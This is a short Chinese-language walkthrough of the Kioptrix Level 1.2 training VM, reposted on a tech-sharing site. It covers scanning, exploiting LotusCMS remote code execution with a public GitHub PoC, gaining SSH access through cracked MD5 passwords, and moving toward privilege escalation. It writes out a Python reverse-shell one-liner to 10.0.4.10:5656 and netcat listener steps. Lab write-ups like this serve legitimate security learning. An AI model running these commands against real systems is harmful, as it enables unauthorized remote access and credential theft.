标签：kioprtix 10.0 socket 登录 level dup2 1.2 os fileno

kioprtix level 1.2

存活探测+端口扫描

访问80

同时做一个目录扫描

发现

http://10.0.4.18/phpmyadmin/index.php

指纹识别

cms漏洞查找

测试代码执行，存在漏洞

反弹shell

github找到poc

git clone https://github.com/Hood3dRob1n/LotusCMS-Exploit

git clone https://github.com/Hood3dRob1n/LotusCMS-Exploit
cd LotusCMS-Exploit/
chmod 777 lotusRCE.sh
nc -lvp <port>
./lotusRCE.sh 10.0.4.18
<你的ip>
<刚才的port>
1

交互的会话,采用再次反弹

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.0.4.10',5656));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

寻找敏感信息

看到数据库账号和密码

登录phpmyadmin

看到超管密码，测试无法ssh登录，估计是we端的

还有一个

md5解密下

starwars Mast3r

尝试ssh登录，成功登录

登录后发现loneferrethome下有几个文件

查看

这个应该就是提权的暗示了

百度教程

标签：kioprtix,10.0,socket,登录,level,dup2,1.2,os,fileno
来源： https://www.cnblogs.com/liyu8/p/15669492.html

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。